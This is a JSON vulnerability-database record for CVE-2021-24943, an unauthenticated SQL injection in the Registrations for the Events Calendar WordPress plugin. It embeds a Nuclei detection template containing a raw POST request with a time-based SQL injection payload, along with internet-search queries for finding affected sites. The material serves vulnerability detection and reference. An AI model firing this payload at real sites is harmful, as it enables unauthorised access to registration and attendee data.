{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-24943/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-24943/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-24943/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-24943/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-24943/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-24943"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-24943"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.07474,
      "kev": false,
      "percentile": 0.94202
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-24943.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-24943\n\ninfo:\n  name: Registrations for the Events Calendar < 2.7.6 - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The Registrations for the Events Calendar WordPress plugin before 2.7.6 does not sanitise and escape the event_id in the rtec_send_unregister_link AJAX action (available to both unauthenticated and authenticated users) before using it in a SQL statement, leading to an unauthenticated SQL injection.\n  impact: |\n    Unauthenticated attackers can execute SQL injection through the event_id parameter, potentially extracting all Events Calendar registration data including attendee information.\n  remediation: Fixed in 2.7.6\n  reference:\n    - https://wpscan.com/vulnerability/ba50c590-42ee-4523-8aa0-87ac644b77ed/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24943\n    - https://wordpress.org/plugins/registrations-for-the-events-calendar/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24943\n    cwe-id: CWE-89\n    epss-score: 0.07474\n    epss-percentile: 0.94202\n    cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: roundupwp\n    product: registrations_for_the_events_calendar\n    framework: wordpress\n    shodan-query: http.html:/wp-content/plugins/registrations-for-the-events-calendar/\n    fofa-query: body=/wp-content/plugins/registrations-for-the-events-calendar/\n    publicwww-query: \"/wp-content/plugins/registrations-for-the-events-calendar/\"\n  tags: time-based-sqli,wpscan,cve,cve2021,wp,wp-plugin,wordpress,sqli,registrations-for-the-events-calendar,roundupwp,vkev,vuln\nvariables:\n  text: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        event_id=3 AND (SELECT 1874 FROM (SELECT(SLEEP(5)))vNpy)&email={{text}}@{{text}}.com\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=5'\n          - 'status_code == 200'\n          - 'contains(body, \"Please enter the email you registered with\")'\n        condition: and\n# digest: 4a0a00473045022100bca49d6bd05613e1b7efa677b835abdaad31d6962e93d0d73ae2b9505d66306502205dcb6f36b9f0c967a911203e88509b0a5cd58517b2bf1eccce09b102e9137390:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-24943"
}